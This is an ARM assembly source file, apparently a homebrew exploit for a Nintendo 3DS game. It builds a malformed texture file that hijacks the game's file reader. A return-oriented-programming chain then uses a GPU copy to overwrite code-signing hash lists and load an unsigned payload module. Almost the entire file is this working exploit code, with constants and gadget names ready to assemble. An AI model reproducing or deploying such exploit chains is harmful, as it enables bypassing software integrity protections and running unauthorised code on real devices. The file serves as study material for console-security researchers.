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/*
Copyright 2016 Seth VanHeulen
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "constants.h"
.ascii "TEX\0"
.word 0xa6
.word MIPMAP_COUNT
.word TEXTURE_COUNT
.org MTFILEREADER_INSTANCE, 0
.word 0
.word NULLSUB_PTR_PTR
.word 0
.word 0
.word 0
.word 0
.org ROP_START, 0
// malloc linear for crr patch
.word ROP_POP_R0PC
.word MTEXHEAPALLOCATOR_INSTANCE_PTR
.word ROP_POP_LRPC
.word ROP_POP_PC
.word ROP_LDR_R0R0_BX_LR // this
.word ROP_POP_R1R2R3PC
.word CRR_HASH_COUNT*0x20 // size
.word 0x1000 // alignment
.word 0
.word MTEXHEAPALLOCATOR_MALLOC
// backup crr patch linear address
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R5R0_BLX_R1
// memcpy crr patch from stack to linear
.word ROP_POP_R1R2R3PC
.word (_payload_cro_end-CRR_HASH_COUNT*0x20)-_memcpy_crr_patch_sp
.word CRR_HASH_COUNT*0x20 // size
.word ROP_POP_PC
.word ROP_MOV_R0SP_BLX_R3
_memcpy_crr_patch_sp:
.word ROP_POP_LRPC
.word ROP_POP_PC
.word ROP_ADD_R0R0R1_BX_LR
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R6R0_BLX_R1
.word ROP_MOV_R0R5_BLX_R1 // dst
.word ROP_MOV_R1R6_BLX_R3 // src
.word ROP_POP_LRPC
.word ROP_POP_PC
.word MEMCPY
// flush data cache for crr patch
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R0R5_BLX_R1 // addr
.word ROP_POP_R1PC
.word CRR_HASH_COUNT*0x20 // size
.word ROP_POP_LRPC
.word ROP_POP_PC
.word GSPGPU_FLUSHDATACACHE
// gspwn crr patch to crr
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R0R5_BLX_R1 // src
.word ROP_POP_R1R2R3PC
.word CRR_START_LINEAR+0x360 // dst
.word CRR_HASH_COUNT*0x20 // size
.word 0 // input dimensions
.word ROP_POP_LRPC
.word ROP_ADD_SPSP16_POP_PC
.word GX_TEXTURECOPY
.word 0 // output dimentions
.word 0 // unknown
.word 0 // unknown
.word 8 // flags
// sleep while gpswn completes
.word ROP_POP_R0PC
.word 0x1000000 // nanoseconds (low)
.word ROP_POP_R1PC
.word 0 // nanoseconds (high)
.word ROP_POP_LRPC
.word ROP_POP_PC
.word SVC_SLEEPTHREAD
// malloc heap for payload cro
.word ROP_POP_R0PC
.word MTCTRHEAPALLOCATOR_INSTANCE_PTR // this
.word ROP_POP_LRPC
.word ROP_POP_PC
.word ROP_LDR_R0R0_BX_LR
.word ROP_POP_R1R2R3PC
.word _payload_cro_end-_payload_cro_start // size
.word 0x1000 // alignment
.word 0
.word MTCTRHEAPALLOCATOR_MALLOC
// backup payload cro heap address
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R5R0_BLX_R1
// memcpy payload cro from stack to heap
.word ROP_POP_R1R2R3PC
.word _payload_cro_start-_memcpy_payload_cro_sp
.word _payload_cro_end-_payload_cro_start // size
.word ROP_POP_PC
.word ROP_MOV_R0SP_BLX_R3
_memcpy_payload_cro_sp:
.word ROP_POP_LRPC
.word ROP_POP_PC
.word ROP_ADD_R0R0R1_BX_LR
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R6R0_BLX_R1
.word ROP_MOV_R0R5_BLX_R1 // dst
.word ROP_MOV_R1R6_BLX_R3 // src
.word ROP_POP_LRPC
.word ROP_POP_PC
.word MEMCPY
// load payload cro
.word ROP_POP_R1PC
.word ROP_POP_PC
.word ROP_MOV_R0R5_BLX_R1 // cro addr
.word ROP_POP_R1R2R3PC
.word _payload_cro_end-_payload_cro_start // cro size
.word 0 // .data+.bss addr
.word 0 // .data+.bss size
.word ROP_POP_LRPC
.word ROP_ADD_SPSP12_POP_PC
.word LDRRO_LOADCRO
.word 1 // auto-link
.word 1 // fix level
.word 0 // unknown
// exit if the payload fails to load
.word SVC_EXITPROCESS
_payload_cro_start:
.incbin CRO_FILE_PATH
_payload_cro_end:
.org TEX_FILE_SIZE